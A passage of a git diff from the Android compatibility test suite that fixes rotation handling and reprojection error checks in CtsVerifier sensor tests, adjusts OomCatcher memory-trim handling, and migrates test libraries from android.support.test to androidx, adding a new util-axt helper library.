+ leftSide+ZRING_WIDTH+ZRING_CURSOR_ADD, topSide+ZRING_WIDTH+ZRING_CURSOR_ADD,
+ rightSide-ZRING_WIDTH-ZRING_CURSOR_ADD, bottomSide-ZRING_WIDTH-ZRING_CURSOR_ADD);
if (LOCAL_LOGV) Log.v(TAG, "New view size = ("+w+", "+h+")");
}
@@ -209,8 +227,14 @@
p.setColor(Color.YELLOW);
canvas.drawRect(10,10, 50, 50, p);
- if (mXEnabled && mXCovered != null) {
- int xNStep = mXCovered.getNSteps() + 4; // two on each side as a buffer
+ // In order to determine which progress bar to draw, the device's rotation must be accounted
+ // for since the accelerometer rotates with the display.
+ boolean drawX = (mXEnabled && !mIsDeviceRotated) || (mYEnabled && mIsDeviceRotated);
+ boolean drawY = (mYEnabled && !mIsDeviceRotated) || (mXEnabled && mIsDeviceRotated);
+
+ if (drawX && mXCovered != null) {
+ RangeCoveredRegister covered = mIsDeviceRotated ? mYCovered : mXCovered;
+ int xNStep = covered.getNSteps() + 4; // two on each side as a buffer
int xStepSize = mXSize * 3/4 / xNStep;
int xLeft = mXSize * 1/8 + (mXSize * 3/4 % xNStep)/2;
@@ -219,8 +243,8 @@
xLeft+xStepSize*xNStep-1, XBAR_WIDTH+XBAR_MARGIN, mRangePaint);
// covered range
- for (i=0; i<mXCovered.getNSteps(); ++i) {
- if (mXCovered.isCovered(i)) {
+ for (i=0; i<covered.getNSteps(); ++i) {
+ if (covered.isCovered(i)) {
canvas.drawRect(
xLeft+xStepSize*(i+2), XBAR_MARGIN,
xLeft+xStepSize*(i+3)-1, XBAR_WIDTH + XBAR_MARGIN,
@@ -235,12 +259,14 @@
xLeft+xStepSize*(xNStep-2)+3, XBAR_WIDTH+XBAR_MARGIN, mLimitPaint);
// cursor
- t = (int)(xLeft+xStepSize*(mXCovered.getLastValue()+2));
+ t = (int)(xLeft+xStepSize*(covered.getLastValue()+2));
canvas.drawRect(t-4, XBAR_MARGIN-XBAR_CURSOR_ADD, t+3,
XBAR_WIDTH+XBAR_MARGIN+XBAR_CURSOR_ADD, mCursorPaint);
}
- if (mYEnabled && mYCovered != null) {
- int yNStep = mYCovered.getNSteps() + 4; // two on each side as a buffer
+
+ if (drawY && mYCovered != null) {
+ RangeCoveredRegister covered = mIsDeviceRotated ? mXCovered : mYCovered;
+ int yNStep = covered.getNSteps() + 4; // two on each side as a buffer
int yStepSize = mYSize * 3/4 / yNStep;
int yLeft = mYSize * 1/8 + (mYSize * 3/4 % yNStep)/2;
@@ -249,8 +275,8 @@
YBAR_WIDTH+YBAR_MARGIN, yLeft+yStepSize*yNStep-1, mRangePaint);
// covered range
- for (i=0; i<mYCovered.getNSteps(); ++i) {
- if (mYCovered.isCovered(i)) {
+ for (i=0; i<covered.getNSteps(); ++i) {
+ if (covered.isCovered(i)) {
canvas.drawRect(
YBAR_MARGIN, yLeft+yStepSize*(i+2),
YBAR_WIDTH + YBAR_MARGIN, yLeft+yStepSize*(i+3)-1,
@@ -265,7 +291,7 @@
YBAR_WIDTH + YBAR_MARGIN, yLeft + yStepSize * (yNStep - 2) + 3, mLimitPaint);
// cursor
- t = (int)(yLeft+yStepSize*(mYCovered.getLastValue()+2));
+ t = (int)(yLeft+yStepSize*(covered.getLastValue()+2));
canvas.drawRect( YBAR_MARGIN-YBAR_CURSOR_ADD, t-4,
YBAR_WIDTH+YBAR_MARGIN+YBAR_CURSOR_ADD, t+3, mCursorPaint);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
index bd463af..10d1865 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
@@ -21,9 +21,11 @@
import android.hardware.Camera;
import android.util.AttributeSet;
import android.util.Log;
+import android.view.Surface;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.ViewGroup;
+import android.view.WindowManager;
import java.io.IOException;
import java.lang.Math;
@@ -36,10 +38,11 @@
private static final String TAG = "RVCVCameraPreview";
private static final boolean LOCAL_LOGD = true;
+ private Context mContext = null;
private SurfaceHolder mHolder;
private Camera mCamera;
- private float mAspect;
- private int mRotation;
+ private float mCameraAspectRatio = 0;
+ private int mCameraRotation = 0;
private boolean mCheckStartTest = false;
private boolean mPreviewStarted = false;
@@ -51,6 +54,7 @@
*/
public RVCVCameraPreview(Context context) {
super(context);
+ mContext = context;
mCamera = null;
initSurface();
}
@@ -62,12 +66,13 @@
*/
public RVCVCameraPreview(Context context, AttributeSet attrs) {
super(context, attrs);
+ mContext = context;
}
public void init(Camera camera, float aspectRatio, int rotation) {
this.mCamera = camera;
- mAspect = aspectRatio;
- mRotation = rotation;
+ mCameraAspectRatio = aspectRatio;
+ mCameraRotation = rotation;
initSurface();
}
@@ -111,7 +116,11 @@
// preview surface or camera does not exist
return;
}
- if (adjustLayoutParamsIfNeeded()) {
+
+ int totalRotation = getRequiredRotation();
+ mCamera.setDisplayOrientation(totalRotation);
+
+ if (adjustLayoutParamsIfNeeded(totalRotation)) {
// Wait on next surfaceChanged() call before proceeding
Log.d(TAG, "Waiting on surface change before starting preview");
return;
@@ -127,7 +136,6 @@
}
mCheckStartTest = false;
- mCamera.setDisplayOrientation(mRotation);
try {
mCamera.setPreviewDisplay(holder);
mCamera.startPreview();
@@ -142,23 +150,70 @@
}
/**
+ * Determine the rotation required to display the camera's preview on the screen as large as
+ * possible. This function combines the device's current rotation from its default orientation
+ * and the rotation of the camera.
+ */
+ private int getRequiredRotation() {
+ WindowManager windowManager =
+ (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);
+ int deviceRotation = 0;
+ if (windowManager != null) {
+ switch (windowManager.getDefaultDisplay().getRotation()) {
+ case Surface.ROTATION_0:
+ deviceRotation = 0;
+ break;
+ case Surface.ROTATION_90:
+ deviceRotation = 270;
+ break;
+ case Surface.ROTATION_180:
+ deviceRotation = 180;
+ break;
+ case Surface.ROTATION_270:
+ deviceRotation = 90;
+ break;
+ default:
+ deviceRotation = 0;
+ break;
+ }
+ } else {
+ Log.w(TAG, "Unable to get device rotation, preview may be skewed.");
+ }
+
+ return (mCameraRotation + deviceRotation) % 360;
+ }
+
+ /**
* Resize the layout to more closely match the desired aspect ratio, if necessary.
*
* @return true if we updated the layout params, false if the params look good
*/
- private boolean adjustLayoutParamsIfNeeded() {
+ private boolean adjustLayoutParamsIfNeeded(int totalRotation) {
+ // Determine the maximum size layout that maintains the camera's preview aspect ratio
+ float cameraAspect = mCameraAspectRatio;
+
+ // Check the camera and device rotation and invert the aspect ratio if the device is not
+ // rotated at 0 or 180 degrees.
+ if (totalRotation % 180 != 0) {
+ // The device is rotated, so the screen should be the inverse of the aspect ratio
+ cameraAspect = 1.0f / mCameraAspectRatio;
+ }
+
+ // Only adjust if there is at least 1% error between the aspects
ViewGroup.LayoutParams layoutParams = getLayoutParams();
int curWidth = getWidth();
int curHeight = getHeight();
- float curAspect = (float)curHeight / (float)curWidth;
- float aspectDelta = Math.abs(mAspect - curAspect);
- if ((aspectDelta / mAspect) >= 0.01) {
- if (curAspect > mAspect) {
- layoutParams.height = (int)Math.round(curWidth * mAspect);
+ float curAspect = (float)curWidth / (float)curHeight;
+ float aspectDelta = Math.abs(cameraAspect - curAspect);
+ if ((aspectDelta / cameraAspect) >= 0.01) {
+ if (cameraAspect > curAspect) {
+ // Camera preview is wider than the current layout. Need to shorten the current layout
layoutParams.width = curWidth;
+ layoutParams.height = (int)(curWidth / cameraAspect);
} else {
+ // Camera preview taller than the current layout. Need to narrow the current layout
+ layoutParams.width = (int)(curHeight * cameraAspect);
layoutParams.height = curHeight;
- layoutParams.width = (int)Math.round(curHeight / mAspect);
}
if (layoutParams.height != curHeight || layoutParams.width != curWidth) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
index 8199736..4f92b64 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
@@ -33,7 +33,9 @@
import android.os.Environment;
import android.util.JsonWriter;
import android.util.Log;
+import android.view.Surface;
import android.view.Window;
+import android.view.WindowManager;
import android.widget.ImageView;
import android.widget.Toast;
@@ -70,6 +72,7 @@
private RVSensorLogger mRVSensorLogger;
private CoverageManager mCoverManager;
private CameraContext mCameraContext;
+ private int mDeviceRotation = Surface.ROTATION_0;
public static final int AXIS_NONE = 0;
public static final int AXIS_ALL = SensorManager.AXIS_X +
@@ -119,6 +122,12 @@
// locate views
mIndicatorView = (MotionIndicatorView) findViewById(R.id.cam_indicator);
+ WindowManager windowManager =
+ (WindowManager)getSystemService(Context.WINDOW_SERVICE);
+ if (windowManager != null) {
+ mDeviceRotation = windowManager.getDefaultDisplay().getRotation();
+ mIndicatorView.setDeviceRotation(mDeviceRotation);
+ }
initStoragePath();
}
@@ -224,6 +233,9 @@
if (axis >=SensorManager.AXIS_X && axis <=SensorManager.AXIS_Z) {
imageView.setImageResource(prompts[axis-1]);
+ if (mDeviceRotation != Surface.ROTATION_0 && mDeviceRotation != Surface.ROTATION_180) {
+ imageView.setRotation(90);
+ }
mIndicatorView.enableAxis(axis);
mRVSensorLogger.updateRegister(mCoverManager.getAxis(axis), axis);
notifyPrompt(axis);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
index 45439a7..c15d2ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
@@ -66,7 +66,7 @@
private static final boolean OUTPUT_DEBUG_IMAGE = false;
private static final double VALID_FRAME_THRESHOLD = 0.8;
- private static final double REPROJECTION_THRESHOLD_RATIO = 0.03;
+ private static final double REPROJECTION_THRESHOLD_RATIO = 0.01;
private static final boolean FORCE_CV_ANALYSIS = false;
private static final boolean TRACE_VIDEO_ANALYSIS = false;
private static final double DECIMATION_FPS_TARGET = 15.0;
@@ -880,13 +880,6 @@
// reproject points to for evaluation of result accuracy of solvePnP
Calib3d.projectPoints(grid, rvec, tvec, camMat, coeff, reprojCenters);
- // error is evaluated in norm2, which is real error in pixel distance / sqrt(2)
- double error = Core.norm(centers, reprojCenters, Core.NORM_L2);
-
- if (LOCAL_LOGV) {
- Log.v(TAG, "Found attitude, re-projection error = " + error);
- }
-
// Calculate the average distance between opposite corners of the pattern in pixels
Point[] centerPoints = centers.toArray();
Point bottomLeftPos = centerPoints[0];
@@ -896,10 +889,27 @@
double avgPixelDist = (getDistanceBetweenPoints(bottomLeftPos, topRightPos)
+ getDistanceBetweenPoints(bottomRightPos, topLeftPos)) / 2;
+ // Calculate the average pixel error between the circle centers from the video and the
+ // reprojected circle centers based on the estimated camera position. The error provides
+ // a way to estimate how accurate the assumed test device's position is. If the error
+ // is high, then the frame should be discarded to prevent an inaccurate test device's
+ // position from being compared against the rotation vector sample at that time.
+ Point[] reprojectedPointsArray = reprojCenters.toArray();
+ double avgCenterError = 0.0;
+ for (int curCenter = 0; curCenter < reprojectedPointsArray.length; curCenter++) {
+ avgCenterError += getDistanceBetweenPoints(
+ reprojectedPointsArray[curCenter], centerPoints[curCenter]);
+ }
+ avgCenterError /= reprojectedPointsArray.length;
+
+ if (LOCAL_LOGV) {
+ Log.v(TAG, "Found attitude, re-projection error = " + avgCenterError);
+ }
+
// if error is reasonable, add it into the results. Use a dynamic threshold based on
// the pixel distance of opposite corners of the pattern to prevent higher resolution
// video or the distance between the camera and the test pattern from impacting the test
- if (error < REPROJECTION_THRESHOLD_RATIO * avgPixelDist) {
+ if (avgCenterError < REPROJECTION_THRESHOLD_RATIO * avgPixelDist) {
double [] rv = new double[3];
double timestamp;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
index 9fbeba2..58145e2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
@@ -301,10 +301,8 @@
String message = "Test Roll Axis Accuracy";
- Assert.assertEquals("Roll RMS error", 0.0, mReport.roll_rms_error,
- Criterion.roll_rms_error);
- Assert.assertEquals("Roll max error", 0.0, mReport.roll_max_error,
- Criterion.roll_max_error);
+ assertLessThan("Roll RMS error", mReport.roll_rms_error, Criterion.roll_rms_error);
+ assertLessThan("Roll max error", mReport.roll_max_error, Criterion.roll_max_error);
return message;
}
@@ -316,10 +314,8 @@
String message = "Test Pitch Axis Accuracy";
- Assert.assertEquals("Pitch RMS error", 0.0, mReport.pitch_rms_error,
- Criterion.pitch_rms_error);
- Assert.assertEquals("Pitch max error", 0.0, mReport.pitch_max_error,
- Criterion.pitch_max_error);
+ assertLessThan("Pitch RMS error", mReport.pitch_rms_error, Criterion.pitch_rms_error);
+ assertLessThan("Pitch max error", mReport.pitch_max_error, Criterion.pitch_max_error);
return message;
}
@@ -331,13 +327,16 @@
String message = "Test Yaw Axis Accuracy";
- Assert.assertEquals("Yaw RMS error", 0.0, mReport.yaw_rms_error,
- Criterion.yaw_rms_error);
- Assert.assertEquals("Yaw max error", 0.0, mReport.yaw_max_error,
- Criterion.yaw_max_error);
+ assertLessThan("Yaw RMS error", mReport.yaw_rms_error, Criterion.yaw_rms_error);
+ assertLessThan("Yaw max error", mReport.yaw_max_error, Criterion.yaw_max_error);
return message;
}
+ private void assertLessThan(String message, double lhs, double rhs) {
+ Assert.assertTrue(String.format("%s - expected %.4f < %.4f", message, lhs, rhs),
+ lhs < rhs);
+ }
+
private void loadOpenCVSuccessfulOrSkip() throws SensorTestStateNotSupportedException {
if (!mOpenCVLoadSuccessful)
throw new SensorTestStateNotSupportedException("Skipped due to OpenCV cannot be loaded");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java
index 6512fd3..580ea58 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java
@@ -17,6 +17,11 @@
package com.android.cts.verifier.sensors.base;
+import android.content.Context;
+import android.hardware.cts.SensorTestCase;
+import android.os.PowerManager;
+import android.view.WindowManager;
+
import com.android.cts.verifier.R;
import com.android.cts.verifier.sensors.helpers.SensorTestScreenManipulator;
import com.android.cts.verifier.sensors.reporting.SensorTestDetails;
@@ -37,11 +42,6 @@
import org.junit.runners.model.InitializationError;
import org.junit.runners.model.RunnerBuilder;
-import android.content.Context;
-import android.hardware.cts.SensorTestCase;
-import android.os.PowerManager;
-import android.view.WindowManager;
-
import java.util.concurrent.TimeUnit;
/**
@@ -109,7 +109,7 @@
/**
* For reference on the implementation of this test executor see:
- * android.support.test.runner.AndroidJUnitRunner
+ * androidx.test.runner.AndroidJUnitRunner
*/
@Override
protected SensorTestDetails executeTests() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
index 3cf34fa..b54637b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
@@ -29,6 +29,8 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.voicemail.VoicemailBroadcastReceiver.ReceivedListener;
+import android.view.View.OnClickListener;
+import android.widget.Button;
/**
* This test ask the tester to set the CTS verifier as the default dialer and leave a voicemail. The
* test will pass if the verifier is able to receive a broadcast for the incoming voicemail. This
@@ -38,7 +40,9 @@
public class VoicemailBroadcastActivity extends PassFailButtons.Activity {
private ImageView mLeaveVoicemailImage;
+ private ImageView mRestoreDefaultDialerImage;
private TextView mLeaveVoicemailText;
+ private Button mNotApplicableButton;
private DefaultDialerChanger mDefaultDialerChanger;
@@ -53,10 +57,23 @@
getPassButton().setEnabled(false);
mLeaveVoicemailImage = (ImageView) findViewById(R.id.leave_voicemail_image);
+ mRestoreDefaultDialerImage = (ImageView) findViewById(R.id.restore_default_dialer_image);
mLeaveVoicemailText = (TextView) findViewById(R.id.leave_voicemail_text);
mDefaultDialerChanger = new DefaultDialerChanger(this);
+ mNotApplicableButton = findViewById(R.id.call_settings_check_not_applicable);
+ mNotApplicableButton.setOnClickListener(
+ new OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ getPassButton().setEnabled(true);
+ mLeaveVoicemailImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+ mRestoreDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+ }
+ }
+ );
+
VoicemailBroadcastReceiver.setListener(new ReceivedListener() {
@Override
public void onReceived() {
diff --git a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
index 32590b4..b7cd6c7 100644
--- a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
+++ b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
@@ -55,6 +55,7 @@
}
public void onDestroy() {
+ super.onDestroy();
if (logThread != null) {
logThread.interrupt();
}
@@ -71,24 +72,27 @@
public void onTrimMemory(int level) {
Log.i(LOG_TAG, "Memory trim level: " + level);
switch (level) {
- // background messages
- case TRIM_MEMORY_MODERATE:
- case TRIM_MEMORY_COMPLETE:
- // foreground messages
- case TRIM_MEMORY_RUNNING_LOW:
- case TRIM_MEMORY_RUNNING_CRITICAL:
+ // low priority messages being ignored
+ case TRIM_MEMORY_BACKGROUND: // bg
+ case TRIM_MEMORY_RUNNING_MODERATE: // fg
+ // fallthrough
+ Log.i(LOG_TAG, "ignoring low priority oom messages.");
+ break;
+ // medium priority messages being ignored
+ case TRIM_MEMORY_MODERATE: // bg
+ case TRIM_MEMORY_RUNNING_LOW: // fg
+ // fallthrough
+ Log.i(LOG_TAG, "ignoring medium priority oom messages.");
+ break;
+ // high priority messages
+ case TRIM_MEMORY_COMPLETE: // bg
+ case TRIM_MEMORY_RUNNING_CRITICAL: // fg
// fallthrough
onLowMemory();
break;
case TRIM_MEMORY_UI_HIDDEN:
Log.i(LOG_TAG, "UI is hidden because the app is in the background.");
break;
- // lower priority messages being ignored
- case TRIM_MEMORY_BACKGROUND:
- case TRIM_MEMORY_RUNNING_MODERATE:
- // fallthrough
- Log.i(LOG_TAG, "ignoring low priority oom messages.");
- break;
default:
Log.i(LOG_TAG, "unknown memory trim message.");
return;
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index 5cc7cb5..1973ef9 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -17,7 +17,7 @@
#
DEVICE_INFO_PACKAGE := com.android.compatibility.common.deviceinfo
-DEVICE_INFO_INSTRUMENT := android.support.test.runner.AndroidJUnitRunner
+DEVICE_INFO_INSTRUMENT := androidx.test.runner.AndroidJUnitRunner
DEVICE_INFO_USES_LIBRARY := android.test.runner
DEVICE_INFO_PERMISSIONS += \
android.permission.READ_PHONE_STATE \
@@ -49,7 +49,7 @@
endif
# Add the base device info
-LOCAL_STATIC_JAVA_LIBRARIES += compatibility-device-info compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES += compatibility-device-info compatibility-device-util-axt
# Generator of APK manifests.
MANIFEST_GENERATOR_JAR := $(HOST_OUT_JAVA_LIBRARIES)/compatibility-manifest-generator.jar
diff --git a/common/device-side/device-info/Android.mk b/common/device-side/device-info/Android.mk
index df95d9a..90836d1 100644
--- a/common/device-side/device-info/Android.mk
+++ b/common/device-side/device-info/Android.mk
@@ -21,8 +21,8 @@
LOCAL_MODULE_TAGS := optional
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test \
+ compatibility-device-util-axt \
+ androidx.test.rules \
junit
LOCAL_JAVA_LIBRARIES := \
diff --git a/common/device-side/test-app/Android.mk b/common/device-side/test-app/Android.mk
index 6adce97..b6660e8 100755
--- a/common/device-side/test-app/Android.mk
+++ b/common/device-side/test-app/Android.mk
@@ -31,7 +31,7 @@
compatibility-device-info-tests\
compatibility-device-info\
compatibility-device-util-tests\
- compatibility-device-util
+ compatibility-device-util-axt
LOCAL_PACKAGE_NAME := CompatibilityTestApp
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 883b439..3aa5dc5 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -27,7 +27,7 @@
</application>
<!-- self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.compatibility.common"
android:label="Tests for device-side Compatibility common code">
</instrumentation>
diff --git a/common/device-side/test-app/run_tests.sh b/common/device-side/test-app/run_tests.sh
index 5640260..e4afd12 100755
--- a/common/device-side/test-app/run_tests.sh
+++ b/common/device-side/test-app/run_tests.sh
@@ -35,7 +35,7 @@
checkFile ${APK}
COMMON_PACKAGE=com.android.compatibility.common
-RUNNER=android.support.test.runner.AndroidJUnitRunner
+RUNNER=androidx.test.runner.AndroidJUnitRunner
# TODO [2015-12-09 kalle] Fail & exit on failing install?
adb -s ${SERIAL} install -r -g ${APK}
build_jar_path ${JAR_DIR} "${JARS}"
diff --git a/common/device-side/util-axt/Android.mk b/common/device-side/util-axt/Android.mk
new file mode 100644
index 0000000..53b4a83
--- /dev/null
+++ b/common/device-side/util-axt/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-Iaidl-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-common-util-devicesidelib \
+ androidx.test.rules \
+ ub-uiautomator \
+ mockito-target-minus-junit4 \
+ androidx.annotation_annotation
+
+LOCAL_JAVA_LIBRARIES := \
+ android.test.runner.stubs \
+ android.test.base.stubs
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := compatibility-device-util-axt
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AmUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AmUtils.java
new file mode 100644
index 0000000..f3e178b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AmUtils.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+public class AmUtils {
+ private static final String TAG = "CtsAmUtils";
+
+ private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity --proto processes";
+
+ private AmUtils() {
+ }
+
+ /** Run "adb shell am make-uid-idle PACKAGE" */
+ public static void runMakeUidIdle(String packageName) {
+ SystemUtil.runShellCommandForNoOutput("am make-uid-idle " + packageName);
+ }
+
+ /** Run "adb shell am kill PACKAGE" */
+ public static void runKill(String packageName) throws Exception {
+ runKill(packageName, false /* wait */);
+ }
+
+ public static void runKill(String packageName, boolean wait) throws Exception {
+ SystemUtil.runShellCommandForNoOutput("am kill --user cur " + packageName);
+
+ if (!wait) {
+ return;
+ }
+
+ TestUtils.waitUntil("package process was not killed:" + packageName,
+ () -> !isProcessRunning(packageName));
+ }
+
+ private static boolean isProcessRunning(String packageName) {
+ final String output = SystemUtil.runShellCommand("ps -A -o NAME");
+ String[] packages = output.split("\\n");
+ for (int i = packages.length -1; i >=0; --i) {
+ if (packages[i].equals(packageName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /** Run "adb shell am set-standby-bucket" */
+ public static void setStandbyBucket(String packageName, int value) {
+ SystemUtil.runShellCommandForNoOutput("am set-standby-bucket " + packageName
+ + " " + value);
+ }
+
+ /** Wait until all broad queues are idle. */
+ public static void waitForBroadcastIdle() {
+ SystemUtil.runCommandAndPrintOnLogcat(TAG, "am wait-for-broadcast-idle");
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java
new file mode 100644
index 0000000..943ebc7
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+
+import java.lang.reflect.Field;
+
+/**
+ * Device-side compatibility utility class for reading device API level.
+ */
+public class ApiLevelUtil {
+
+ public static boolean isBefore(int version) {
+ return Build.VERSION.SDK_INT < version;
+ }
+
+ public static boolean isBefore(String version) {
+ return Build.VERSION.SDK_INT < resolveVersionString(version);
+ }
+
+ public static boolean isAfter(int version) {
+ return Build.VERSION.SDK_INT > version;
+ }
+
+ public static boolean isAfter(String version) {
+ return Build.VERSION.SDK_INT > resolveVersionString(version);
+ }
+
+ public static boolean isAtLeast(int version) {
+ return Build.VERSION.SDK_INT >= version;
+ }
+
+ public static boolean isAtLeast(String version) {
+ return Build.VERSION.SDK_INT >= resolveVersionString(version);
+ }
+
+ public static boolean isAtMost(int version) {
+ return Build.VERSION.SDK_INT <= version;
+ }
+
+ public static boolean isAtMost(String version) {
+ return Build.VERSION.SDK_INT <= resolveVersionString(version);
+ }
+
+ public static int getApiLevel() {
+ return Build.VERSION.SDK_INT;
+ }
+
+ public static boolean codenameEquals(String name) {
+ return Build.VERSION.CODENAME.equalsIgnoreCase(name.trim());
+ }
+
+ public static boolean codenameStartsWith(String prefix) {
+ return Build.VERSION.CODENAME.startsWith(prefix);
+ }
+
+ public static String getCodename() {
+ return Build.VERSION.CODENAME;
+ }
+
+ protected static int resolveVersionString(String versionString) {
+ // Attempt 1: Parse version string as an integer, e.g. "23" for M
+ try {
+ return Integer.parseInt(versionString);
+ } catch (NumberFormatException e) { /* ignore for alternate approaches below */ }
+ // Attempt 2: Find matching field in VersionCodes utility class, return value
+ try {
+ Field versionField = VersionCodes.class.getField(versionString.toUpperCase());
+ return versionField.getInt(null); // no instance for VERSION_CODES, use null
+ } catch (IllegalAccessException | NoSuchFieldException e) { /* ignore */ }
+ // Attempt 3: Find field within android.os.Build.VERSION_CODES
+ try {
+ Field versionField = Build.VERSION_CODES.class.getField(versionString.toUpperCase());
+ return versionField.getInt(null); // no instance for VERSION_CODES, use null
+ } catch (IllegalAccessException | NoSuchFieldException e) {
+ throw new RuntimeException(
+ String.format("Failed to parse version string %s", versionString), e);
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java
new file mode 100644
index 0000000..c9338e4
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_DEFAULT;
